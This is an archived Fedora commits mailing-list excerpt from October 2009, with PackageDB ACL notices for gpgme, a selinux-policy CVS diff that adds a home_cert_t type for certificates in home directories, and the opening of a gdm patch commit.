To make changes to this package see:
  /pkgdb/packages/name/gpgme



From pkgdb at fedoraproject.org  Fri Oct  9 15:56:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:56:36 +0000
Subject: [pkgdb] gpgme had acl change status
Message-ID: <20091009155637.5A09310F84D@bastion2.fedora.phx.redhat.com>

rdieter has set the approveacls acl on gpgme (Fedora 12) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/gpgme



From pkgdb at fedoraproject.org  Fri Oct  9 15:56:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:56:38 +0000
Subject: [pkgdb] gpgme had acl change status
Message-ID: <20091009155638.0E82D10F892@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on gpgme (Fedora 12) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/gpgme



From pkgdb at fedoraproject.org  Fri Oct  9 15:56:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:56:39 +0000
Subject: [pkgdb] gpgme had acl change status
Message-ID: <20091009155639.2254910F8B4@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on gpgme (Fedora 12) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/gpgme



From pkgdb at fedoraproject.org  Fri Oct  9 15:56:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 15:56:40 +0000
Subject: [pkgdb] gpgme had acl change status
Message-ID: <20091009155640.BD0A110F894@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on gpgme (Fedora 12) to Approved for tmraz

To make changes to this package see:
  /pkgdb/packages/name/gpgme



From dwalsh at fedoraproject.org  Fri Oct  9 16:03:30 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Fri,  9 Oct 2009 16:03:30 +0000 (UTC)
Subject: rpms/selinux-policy/F-12 policy-F12.patch, 1.103,
	1.104 selinux-policy.spec, 1.940, 1.941
Message-ID: <20091009160330.6E70911C00C1@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/selinux-policy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13776

Modified Files:
	policy-F12.patch selinux-policy.spec 
Log Message:
* Fri Oct 10 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-24
- Add home_cert_t for labeling of certs in the homedir


policy-F12.patch:
 Makefile                                  |    2 
 policy/flask/access_vectors               |    1 
 policy/global_tunables                    |   24 
 policy/mcs                                |   10 
 policy/modules/admin/alsa.te              |    2 
 policy/modules/admin/anaconda.te          |    3 
 policy/modules/admin/brctl.te             |    2 
 policy/modules/admin/certwatch.te         |    2 
 policy/modules/admin/consoletype.te       |    1 
 policy/modules/admin/dmesg.fc             |    2 
 policy/modules/admin/dmesg.te             |   10 
 policy/modules/admin/firstboot.te         |    6 
 policy/modules/admin/logrotate.te         |   13 
 policy/modules/admin/logwatch.te          |    1 
 policy/modules/admin/mrtg.te              |    1 
 policy/modules/admin/netutils.te          |    1 
 policy/modules/admin/ntop.fc              |    5 
 policy/modules/admin/ntop.if              |  158 +++
 policy/modules/admin/ntop.te              |   40 
 policy/modules/admin/portage.te           |    2 
 policy/modules/admin/prelink.if           |    4 
 policy/modules/admin/prelink.te           |    1 
 policy/modules/admin/readahead.te         |    1 
 policy/modules/admin/rpm.fc               |   18 
 policy/modules/admin/rpm.if               |  264 +++++
 policy/modules/admin/rpm.te               |   95 +
 policy/modules/admin/shorewall.if         |   40 
 policy/modules/admin/shorewall.te         |    2 
 policy/modules/admin/smoltclient.fc       |    4 
 policy/modules/admin/smoltclient.if       |    1 
 policy/modules/admin/smoltclient.te       |   67 +
 policy/modules/admin/sudo.if              |   13 
 policy/modules/admin/tmpreaper.te         |    5 
 policy/modules/admin/tzdata.te            |    2 
 policy/modules/admin/usermanage.if        |    5 
 policy/modules/admin/usermanage.te        |   31 
 policy/modules/admin/vbetool.te           |   14 
 policy/modules/admin/vpn.te               |    2 
 policy/modules/apps/calamaris.te          |    7 
 policy/modules/apps/chrome.fc             |    2 
 policy/modules/apps/chrome.if             |   85 +
 policy/modules/apps/chrome.te             |   57 +
 policy/modules/apps/cpufreqselector.te    |    2 
 policy/modules/apps/execmem.fc            |   34 
 policy/modules/apps/execmem.if            |   74 +
 policy/modules/apps/execmem.te            |   11 
 policy/modules/apps/firewallgui.fc        |    3 
 policy/modules/apps/firewallgui.if        |    3 
 policy/modules/apps/firewallgui.te        |   63 +
 policy/modules/apps/gitosis.if            |   45 
 policy/modules/apps/gnome.fc              |   12 
 policy/modules/apps/gnome.if              |  170 +++
 policy/modules/apps/gnome.te              |   99 ++
 policy/modules/apps/gpg.te                |   20 
 policy/modules/apps/java.fc               |   18 
 policy/modules/apps/java.if               |  112 ++
 policy/modules/apps/java.te               |   14 
 policy/modules/apps/kdumpgui.fc           |    2 
 policy/modules/apps/kdumpgui.if           |    2 
 policy/modules/apps/kdumpgui.te           |   65 +
 policy/modules/apps/livecd.fc             |    2 
 policy/modules/apps/livecd.if             |   50 +
 policy/modules/apps/livecd.te             |   26 
 policy/modules/apps/loadkeys.te           |    4 
 policy/modules/apps/mono.if               |  101 ++
 policy/modules/apps/mono.te               |    9 
 policy/modules/apps/mozilla.fc            |    1 
 policy/modules/apps/mozilla.if            |   32 
 policy/modules/apps/mozilla.te            |   22 
 policy/modules/apps/nsplugin.fc           |   12 
 policy/modules/apps/nsplugin.if           |  323 ++++++
 policy/modules/apps/nsplugin.te           |  295 ++++++
 policy/modules/apps/openoffice.fc         |    3 
 policy/modules/apps/openoffice.if         |   93 +
 policy/modules/apps/openoffice.te         |   11 
 policy/modules/apps/pulseaudio.if         |    2 
 policy/modules/apps/pulseaudio.te         |    7 
 policy/modules/apps/qemu.fc               |    4 
 policy/modules/apps/qemu.if               |  190 +++
 policy/modules/apps/qemu.te               |   82 +
 policy/modules/apps/sambagui.fc           |    1 
 policy/modules/apps/sambagui.if           |    2 
 policy/modules/apps/sambagui.te           |   56 +
 policy/modules/apps/sandbox.fc            |    1 
 policy/modules/apps/sandbox.if            |  183 +++
 policy/modules/apps/sandbox.te            |  330 ++++++
 policy/modules/apps/screen.if             |    5 
 policy/modules/apps/seunshare.fc          |    2 
 policy/modules/apps/seunshare.if          |   81 +
 policy/modules/apps/seunshare.te          |   45 
 policy/modules/apps/vmware.te             |    1 
 policy/modules/apps/wine.fc               |   24 
 policy/modules/apps/wine.if               |  115 ++
 policy/modules/apps/wine.te               |   34 
 policy/modules/kernel/corecommands.fc     |   28 
 policy/modules/kernel/corecommands.if     |   21 
 policy/modules/kernel/corenetwork.te.in   |   34 
 policy/modules/kernel/devices.fc          |    8 
 policy/modules/kernel/devices.if          |  183 +++
 policy/modules/kernel/devices.te          |   19 
 policy/modules/kernel/domain.if           |  151 ++-
 policy/modules/kernel/domain.te           |   84 +
 policy/modules/kernel/files.fc            |    3 
 policy/modules/kernel/files.if            |  298 ++++++
 policy/modules/kernel/files.te            |    6 
 policy/modules/kernel/filesystem.fc       |    2 
 policy/modules/kernel/filesystem.if       |  211 ++++
 policy/modules/kernel/filesystem.te       |    8 
 policy/modules/kernel/kernel.if           |   58 +
 policy/modules/kernel/kernel.te           |   29 
 policy/modules/kernel/selinux.if          |   25 
 policy/modules/kernel/storage.fc          |    1 
 policy/modules/kernel/storage.if          |    3 
 policy/modules/kernel/terminal.fc         |    1 
 policy/modules/kernel/terminal.if         |   40 
 policy/modules/kernel/terminal.te         |    1 
 policy/modules/roles/guest.te             |    8 
 policy/modules/roles/staff.te             |  123 --
 policy/modules/roles/sysadm.te            |  124 --
 policy/modules/roles/unconfineduser.fc    |    8 
 policy/modules/roles/unconfineduser.if    |  638 +++++++++++++
 policy/modules/roles/unconfineduser.te    |  410 ++++++++
 policy/modules/roles/unprivuser.te        |  131 --
 policy/modules/roles/xguest.te            |   36 
 policy/modules/services/abrt.fc           |    2 
 policy/modules/services/abrt.if           |   21 
 policy/modules/services/abrt.te           |   21 
 policy/modules/services/afs.fc            |    1 
 policy/modules/services/afs.te            |    1 
 policy/modules/services/aisexec.fc        |   12 
 policy/modules/services/aisexec.if        |  106 ++
 policy/modules/services/aisexec.te        |  112 ++
 policy/modules/services/amavis.te         |    2 
 policy/modules/services/apache.fc         |   38 
 policy/modules/services/apache.if         |  410 +++++---
 policy/modules/services/apache.te         |  438 +++++++--
 policy/modules/services/apm.te            |    2 
 policy/modules/services/automount.te      |    1 
 policy/modules/services/bind.if           |   40 
 policy/modules/services/bluetooth.te      |    9 
 policy/modules/services/ccs.fc            |    5 
 policy/modules/services/certmaster.te     |    2 
 policy/modules/services/chronyd.fc        |   11 
 policy/modules/services/chronyd.if        |  105 ++
 policy/modules/services/chronyd.te        |   67 +
 policy/modules/services/clamav.te         |   16 
 policy/modules/services/cobbler.fc        |    2 
 policy/modules/services/cobbler.if        |   24 
 policy/modules/services/cobbler.te        |    5 
 policy/modules/services/consolekit.if     |   39 
 policy/modules/services/consolekit.te     |   18 
 policy/modules/services/corosync.fc       |   13 
 policy/modules/services/corosync.if       |  108 ++
 policy/modules/services/corosync.te       |  109 ++
 policy/modules/services/courier.if        |   18 
 policy/modules/services/courier.te        |    1 
 policy/modules/services/cron.fc           |    4 
 policy/modules/services/cron.if           |   72 +
 policy/modules/services/cron.te           |   82 +
 policy/modules/services/cups.fc           |   13 
 policy/modules/services/cups.te           |   35 
 policy/modules/services/cvs.te            |    1 
 policy/modules/services/cyrus.te          |    1 
 policy/modules/services/dbus.if           |   49 -
 policy/modules/services/dbus.te           |   25 
 policy/modules/services/dcc.te            |    8 
 policy/modules/services/ddclient.if       |   25 
 policy/modules/services/devicekit.fc      |    2 
 policy/modules/services/devicekit.if      |   22 
 policy/modules/services/devicekit.te      |   54 +
 policy/modules/services/dnsmasq.te        |   12 
 policy/modules/services/dovecot.te        |   11 
 policy/modules/services/exim.te           |    5 
 policy/modules/services/fail2ban.te       |    1 
 policy/modules/services/fetchmail.te      |    2 
 policy/modules/services/fprintd.te        |    4 
 policy/modules/services/ftp.te            |   60 +
 policy/modules/services/gpm.te            |    3 
 policy/modules/services/gpsd.fc           |    5 
 policy/modules/services/gpsd.if           |   27 
 policy/modules/services/gpsd.te           |   14 
 policy/modules/services/hal.fc            |    1 
 policy/modules/services/hal.if            |   18 
 policy/modules/services/hal.te            |   48 -
 policy/modules/services/howl.te           |    2 
 policy/modules/services/inetd.te          |    2 
 policy/modules/services/irqbalance.te     |    4 
 policy/modules/services/kerberos.te       |   13 
 policy/modules/services/kerneloops.te     |    2 
 policy/modules/services/ktalk.te          |    1 
 policy/modules/services/lircd.te          |   11 
 policy/modules/services/mailman.te        |    4 
 policy/modules/services/memcached.te      |    2 
 policy/modules/services/mta.fc            |    2 
 policy/modules/services/mta.if            |    7 
 policy/modules/services/mta.te            |   35 
 policy/modules/services/munin.fc          |    3 
 policy/modules/services/munin.te          |    3 
 policy/modules/services/mysql.te          |    7 
 policy/modules/services/nagios.fc         |   11 
 policy/modules/services/nagios.if         |   70 +
 policy/modules/services/nagios.te         |   55 -
 policy/modules/services/networkmanager.fc |   14 
 policy/modules/services/networkmanager.if |   64 +
 policy/modules/services/networkmanager.te |  115 ++
 policy/modules/services/nis.fc            |    5 
 policy/modules/services/nis.if            |   87 +
 policy/modules/services/nis.te            |   13 
 policy/modules/services/nscd.te           |   10 
 policy/modules/services/nslcd.if          |    8 
 policy/modules/services/ntp.if            |   46 
 policy/modules/services/ntp.te            |    8 
 policy/modules/services/nut.fc            |   15 
 policy/modules/services/nut.if            |   82 +
 policy/modules/services/nut.te            |  140 ++
 policy/modules/services/nx.fc             |    1 
 policy/modules/services/nx.if             |   19 
 policy/modules/services/nx.te             |    6 
 policy/modules/services/oddjob.if         |    1 
 policy/modules/services/openvpn.te        |    2 
 policy/modules/services/pcscd.te          |    3 
 policy/modules/services/pegasus.te        |   28 
 policy/modules/services/plymouth.fc       |    5 
 policy/modules/services/plymouth.if       |  286 ++++++
 policy/modules/services/plymouth.te       |   86 +
 policy/modules/services/policykit.fc      |    5 
 policy/modules/services/policykit.if      |   48 +
 policy/modules/services/policykit.te      |   64 +
 policy/modules/services/postfix.fc        |    2 
 policy/modules/services/postfix.if        |  150 ++-
 policy/modules/services/postfix.te        |  140 ++
 policy/modules/services/postgresql.fc     |    1 
 policy/modules/services/postgresql.if     |   43 
 policy/modules/services/postgresql.te     |    9 
 policy/modules/services/ppp.if            |    6 
 policy/modules/services/ppp.te            |   16 
 policy/modules/services/prelude.te        |    1 
 policy/modules/services/privoxy.te        |    3 
 policy/modules/services/procmail.te       |   12 
 policy/modules/services/pyzor.fc          |    4 
 policy/modules/services/pyzor.if          |   47 
 policy/modules/services/pyzor.te          |   37 
 policy/modules/services/radvd.te          |    1 
 policy/modules/services/razor.fc          |    1 
 policy/modules/services/razor.if          |   42 
 policy/modules/services/razor.te          |   32 
 policy/modules/services/rgmanager.fc      |    6 
 policy/modules/services/rgmanager.if      |   59 +
 policy/modules/services/rgmanager.te      |   58 +
 policy/modules/services/rhcs.fc           |   21 
 policy/modules/services/rhcs.if           |  309 ++++++
 policy/modules/services/rhcs.te           |  340 +++++++
 policy/modules/services/ricci.te          |   21 
 policy/modules/services/rpc.if            |    7 
 policy/modules/services/rpc.te            |   16 
 policy/modules/services/rpcbind.if        |   20 
 policy/modules/services/rpcbind.te        |    1 
 policy/modules/services/rsync.te          |   23 
 policy/modules/services/rtkit.if          |   20 
 policy/modules/services/rtkit.te          |    2 
 policy/modules/services/samba.fc          |    4 
 policy/modules/services/samba.if          |  104 ++
 policy/modules/services/samba.te          |   89 +
 policy/modules/services/sasl.te           |   15 
 policy/modules/services/sendmail.if       |  137 ++
 policy/modules/services/sendmail.te       |   87 +
 policy/modules/services/setroubleshoot.fc |    2 
 policy/modules/services/setroubleshoot.if |  102 ++
 policy/modules/services/setroubleshoot.te |   81 +
 policy/modules/services/smartmon.te       |   15 
 policy/modules/services/snmp.if           |   38 
 policy/modules/services/snmp.te           |    4 
 policy/modules/services/spamassassin.fc   |   15 
 policy/modules/services/spamassassin.if   |   89 +
 policy/modules/services/spamassassin.te   |  137 ++
 policy/modules/services/squid.te          |    9 
 policy/modules/services/ssh.fc            |    2 
 policy/modules/services/ssh.if            |  184 +++
 policy/modules/services/ssh.te            |   77 +
 policy/modules/services/sssd.fc           |    2 
 policy/modules/services/sssd.if           |   43 
 policy/modules/services/sssd.te           |    6 
 policy/modules/services/sysstat.te        |    5 
 policy/modules/services/uucp.te           |    7 
 policy/modules/services/virt.fc           |   12 
 policy/modules/services/virt.if           |  127 ++
 policy/modules/services/virt.te           |  283 +++++
 policy/modules/services/w3c.te            |    7 
 policy/modules/services/xserver.fc        |   33 
 policy/modules/services/xserver.if        |  534 ++++++++++-
 policy/modules/services/xserver.te        |  318 +++++-
 policy/modules/system/application.if      |   20 
 policy/modules/system/application.te      |   11 
 policy/modules/system/authlogin.fc        |    9 
 policy/modules/system/authlogin.if        |  205 +++-
 policy/modules/system/authlogin.te        |    9 
 policy/modules/system/fstools.fc          |    2 
 policy/modules/system/fstools.te          |    7 
 policy/modules/system/init.fc             |    7 
 policy/modules/system/init.if             |  158 +++
 policy/modules/system/init.te             |  285 ++++-
 policy/modules/system/ipsec.fc            |    3 
 policy/modules/system/ipsec.if            |   25 
 policy/modules/system/ipsec.te            |   55 +
 policy/modules/system/iptables.fc         |   17 
 policy/modules/system/iptables.if         |   97 ++
 policy/modules/system/iptables.te         |   15 
 policy/modules/system/iscsi.if            |   40 
 policy/modules/system/iscsi.te            |    6 
 policy/modules/system/libraries.fc        |  159 ++-
 policy/modules/system/libraries.if        |    4 
 policy/modules/system/libraries.te        |   17 
 policy/modules/system/locallogin.te       |   30 
 policy/modules/system/logging.fc          |   12 
 policy/modules/system/logging.if          |   18 
 policy/modules/system/logging.te          |   38 
 policy/modules/system/lvm.te              |   25 
 policy/modules/system/miscfiles.fc        |    2 
 policy/modules/system/miscfiles.if        |   60 +
 policy/modules/system/miscfiles.te        |    3 
 policy/modules/system/modutils.fc         |    1 
 policy/modules/system/modutils.if         |   46 
 policy/modules/system/modutils.te         |   46 
 policy/modules/system/mount.fc            |    7 
 policy/modules/system/mount.if            |    2 
 policy/modules/system/mount.te            |   76 +
 policy/modules/system/raid.fc             |    2 
 policy/modules/system/raid.te             |    8 
 policy/modules/system/selinuxutil.fc      |   17 
 policy/modules/system/selinuxutil.if      |  309 ++++++
 policy/modules/system/selinuxutil.te      |  227 +---
 policy/modules/system/setrans.if          |   20 
 policy/modules/system/sysnetwork.fc       |    9 
 policy/modules/system/sysnetwork.if       |  117 ++
 policy/modules/system/sysnetwork.te       |   76 +
 policy/modules/system/udev.fc             |    3 
 policy/modules/system/udev.if             |   21 
 policy/modules/system/udev.te             |   39 
 policy/modules/system/unconfined.fc       |   15 
 policy/modules/system/unconfined.if       |  443 ---------
 policy/modules/system/unconfined.te       |  224 ----
 policy/modules/system/userdomain.fc       |    6 
 policy/modules/system/userdomain.if       | 1430 ++++++++++++++++++++++--------
 policy/modules/system/userdomain.te       |   50 -
 policy/modules/system/xen.fc              |    6 
 policy/modules/system/xen.if              |   28 
 policy/modules/system/xen.te              |  137 ++
 policy/support/obj_perm_sets.spt          |   14 
 policy/users                              |   13 
 349 files changed, 16471 insertions(+), 2632 deletions(-)

Index: policy-F12.patch
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/policy-F12.patch,v
retrieving revision 1.103
retrieving revision 1.104
diff -u -p -r1.103 -r1.104
--- policy-F12.patch	8 Oct 2009 19:51:54 -0000	1.103
+++ policy-F12.patch	9 Oct 2009 16:03:29 -0000	1.104
@@ -95,6 +95,18 @@ diff -b -B --ignore-all-space --exclude-
  
  mlsconstrain process { transition dyntransition }
  	(( h1 dom h2 ) or ( t1 == mcssetcats ));
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/admin/alsa.te serefpolicy-3.6.32/policy/modules/admin/alsa.te
+--- nsaserefpolicy/policy/modules/admin/alsa.te	2009-08-14 16:14:31.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/admin/alsa.te	2009-10-09 07:40:41.000000000 -0400
+@@ -51,6 +51,8 @@
+ files_read_etc_files(alsa_t)
+ files_read_usr_files(alsa_t)
+ 
++term_use_console(alsa_t)
++
+ auth_use_nsswitch(alsa_t)
+ 
+ init_use_fds(alsa_t)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/admin/anaconda.te serefpolicy-3.6.32/policy/modules/admin/anaconda.te
 --- nsaserefpolicy/policy/modules/admin/anaconda.te	2009-07-14 14:19:57.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/admin/anaconda.te	2009-09-30 16:12:48.000000000 -0400
@@ -1603,7 +1615,7 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/admin/vpn.te serefpolicy-3.6.32/policy/modules/admin/vpn.te
 --- nsaserefpolicy/policy/modules/admin/vpn.te	2009-08-31 13:30:04.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/admin/vpn.te	2009-10-01 09:40:37.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/admin/vpn.te	2009-10-09 09:10:49.000000000 -0400
 @@ -46,6 +46,7 @@
  kernel_read_system_state(vpnc_t)
  kernel_read_network_state(vpnc_t)
@@ -1612,6 +1624,14 @@ diff -b -B --ignore-all-space --exclude-
  kernel_rw_net_sysctls(vpnc_t)
  
  corenet_all_recvfrom_unlabeled(vpnc_t)
+@@ -98,6 +99,7 @@
+ logging_dontaudit_search_logs(vpnc_t)
+ 
+ miscfiles_read_localization(vpnc_t)
++miscfiles_read_home_certs(vpnc_t)
+ 
+ seutil_dontaudit_search_config(vpnc_t)
+ seutil_use_newrole_fds(vpnc_t)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/calamaris.te serefpolicy-3.6.32/policy/modules/apps/calamaris.te
 --- nsaserefpolicy/policy/modules/apps/calamaris.te	2009-08-14 16:14:31.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/apps/calamaris.te	2009-09-30 16:12:48.000000000 -0400
@@ -1645,7 +1665,7 @@ diff -b -B --ignore-all-space --exclude-
 +/usr/lib(64)?/chromium-browser/chrome-sandbox	--	gen_context(system_u:object_r:chrome_sandbox_exec_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/chrome.if serefpolicy-3.6.32/policy/modules/apps/chrome.if
 --- nsaserefpolicy/policy/modules/apps/chrome.if	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/apps/chrome.if	2009-10-02 08:37:09.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/apps/chrome.if	2009-10-09 10:13:58.000000000 -0400
 @@ -0,0 +1,85 @@
 +
 +## <summary>policy for chrome</summary>
@@ -1720,7 +1740,7 @@ diff -b -B --ignore-all-space --exclude-
 +	chrome_domtrans_sandbox($2)
 +
 +	ps_process_pattern($2, chrome_sandbox_t)
-+	allow $2 chrome_sandbox_t:process signal;
++	allow $2 chrome_sandbox_t:process signal_perms;
 +
 +	allow chrome_sandbox_t $2:unix_dgram_socket { read write };
 +	allow $2 chrome_sandbox_t:unix_dgram_socket { read write };
@@ -1845,8 +1865,8 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/execmem.if serefpolicy-3.6.32/policy/modules/apps/execmem.if
 --- nsaserefpolicy/policy/modules/apps/execmem.if	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/apps/execmem.if	2009-10-08 09:29:38.000000000 -0400
-@@ -0,0 +1,70 @@
++++ serefpolicy-3.6.32/policy/modules/apps/execmem.if	2009-10-09 10:34:56.000000000 -0400
+@@ -0,0 +1,74 @@
 +## <summary>execmem domain</summary>
 +
 +########################################
@@ -1913,8 +1933,12 @@ diff -b -B --ignore-all-space --exclude-
 +	corecmd_bin_domtrans($1_execmem_t, $1_t)
 +
 +	optional_policy(`
++		chrome_role($2, $1_execmem_t)
++	')
++
++	optional_policy(`
 +		xserver_common_app($1_execmem_t)
-+		xserver_role($1_r, $1_execmem_t)
++		xserver_role($2, $1_execmem_t)
 +	')
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/apps/execmem.te serefpolicy-3.6.32/policy/modules/apps/execmem.te
@@ -7130,7 +7154,7 @@ diff -b -B --ignore-all-space --exclude-
  /dev/tty		-c	gen_context(system_u:object_r:devtty_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/kernel/terminal.if serefpolicy-3.6.32/policy/modules/kernel/terminal.if
 --- nsaserefpolicy/policy/modules/kernel/terminal.if	2009-09-09 09:23:16.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/kernel/terminal.if	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/kernel/terminal.if	2009-10-09 07:40:19.000000000 -0400
 @@ -196,7 +196,7 @@
  
  	dev_list_all_dev_nodes($1)
@@ -19735,7 +19759,7 @@ diff -b -B --ignore-all-space --exclude-
 -') dnl end TODO
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/ssh.fc serefpolicy-3.6.32/policy/modules/services/ssh.fc
 --- nsaserefpolicy/policy/modules/services/ssh.fc	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/ssh.fc	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/ssh.fc	2009-10-09 09:06:33.000000000 -0400
 @@ -14,3 +14,5 @@
  /usr/sbin/sshd			--	gen_context(system_u:object_r:sshd_exec_t,s0)
  
@@ -25062,10 +25086,48 @@ diff -b -B --ignore-all-space --exclude-
  
  optional_policy(`
  	modutils_domtrans_insmod(lvm_t)
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/miscfiles.fc serefpolicy-3.6.32/policy/modules/system/miscfiles.fc
+--- nsaserefpolicy/policy/modules/system/miscfiles.fc	2009-07-14 14:19:57.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/miscfiles.fc	2009-10-09 09:06:59.000000000 -0400
+@@ -85,3 +85,5 @@
+ /var/empty/sshd/etc/localtime -- gen_context(system_u:object_r:locale_t,s0)
+ /var/spool/postfix/etc/localtime -- gen_context(system_u:object_r:locale_t,s0)
+ ')
++
++HOME_DIR/\.cert(/.*)?		gen_context(system_u:object_r:home_cert_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/miscfiles.if serefpolicy-3.6.32/policy/modules/system/miscfiles.if
 --- nsaserefpolicy/policy/modules/system/miscfiles.if	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/miscfiles.if	2009-10-07 13:48:11.000000000 -0400
-@@ -87,6 +87,44 @@
++++ serefpolicy-3.6.32/policy/modules/system/miscfiles.if	2009-10-09 09:10:29.000000000 -0400
+@@ -23,6 +23,28 @@
+ 
+ ########################################
+ ## <summary>
++##	Read system SSL certificates in the users homedir.
++## </summary>
++## <param name="domain">
++##	<summary>
++##	Domain allowed access.
++##	</summary>
++## </param>
++## <rolecap/>
++#
++interface(`miscfiles_read_home_certs',`
++	gen_require(`
++		type home_cert_t;
++	')
++
++	userdom_search_user_home_dirs($1)
++	allow $1 home_cert_t:dir list_dir_perms;
++	read_files_pattern($1, home_cert_t, home_cert_t)
++	read_lnk_files_pattern($1, home_cert_t, home_cert_t)
++')
++
++########################################
++## <summary>
+ ##	manange system SSL certificates.
+ ## </summary>
+ ## <param name="domain">
+@@ -87,6 +109,44 @@
  
  ########################################
  ## <summary>
@@ -25110,6 +25172,19 @@ diff -b -B --ignore-all-space --exclude-
  ##	Do not audit attempts to write fonts.
  ## </summary>
  ## <param name="domain">
+diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/miscfiles.te serefpolicy-3.6.32/policy/modules/system/miscfiles.te
+--- nsaserefpolicy/policy/modules/system/miscfiles.te	2009-08-14 16:14:31.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/miscfiles.te	2009-10-09 09:09:07.000000000 -0400
+@@ -12,6 +12,9 @@
+ type cert_t;
+ files_type(cert_t)
+ 
++type home_cert_t;
++userdom_user_home_content(home_cert_t)
++
+ #
+ # fonts_t is the type of various font
+ # files in /usr
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/modutils.fc serefpolicy-3.6.32/policy/modules/system/modutils.fc
 --- nsaserefpolicy/policy/modules/system/modutils.fc	2009-07-14 14:19:57.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/system/modutils.fc	2009-09-30 16:12:48.000000000 -0400
@@ -27764,7 +27839,7 @@ diff -b -B --ignore-all-space --exclude-
 +HOME_DIR/\.gvfs(/.*)?	<<none>>
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/userdomain.if serefpolicy-3.6.32/policy/modules/system/userdomain.if
 --- nsaserefpolicy/policy/modules/system/userdomain.if	2009-08-31 13:30:04.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/userdomain.if	2009-10-08 15:35:26.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/userdomain.if	2009-10-09 10:06:24.000000000 -0400
 @@ -30,8 +30,9 @@
  	')
  


Index: selinux-policy.spec
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/selinux-policy.spec,v
retrieving revision 1.940
retrieving revision 1.941
diff -u -p -r1.940 -r1.941
--- selinux-policy.spec	8 Oct 2009 19:51:55 -0000	1.940
+++ selinux-policy.spec	9 Oct 2009 16:03:29 -0000	1.941
@@ -20,7 +20,7 @@
 Summary: SELinux policy configuration
 Name: selinux-policy
 Version: 3.6.32
-Release: 23%{?dist}
+Release: 24%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: serefpolicy-%{version}.tgz
@@ -449,6 +449,9 @@ exit 0
 %endif
 
 %changelog
+* Fri Oct 10 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-24
+- Add home_cert_t for labeling of certs in the homedir
+
 * Wed Oct 8 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-23
 - Allow xdm to unlink xauth_home_t
 



From rstrode at fedoraproject.org  Fri Oct  9 16:05:26 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Fri,  9 Oct 2009 16:05:26 +0000 (UTC)
Subject: rpms/gdm/F-12 fix-other-user.patch,NONE,1.1 gdm.spec,1.494,1.495
Message-ID: <20091009160526.4295711C00C1@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/gdm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14316

Modified Files:
	gdm.spec 
Added Files:
	fix-other-user.patch 
Log Message:
- Fix Other... user.


fix-other-user.patch:
 gdm-user-chooser-widget.c |   19 ++++++++++---------
 1 file changed, 10 insertions(+), 9 deletions(-)

--- NEW FILE fix-other-user.patch ---
>From d56eaae13ba731ff9837ee37cac9165fff99f350 Mon Sep 17 00:00:00 2001
From: Ray Strode <rstrode at redhat.com>
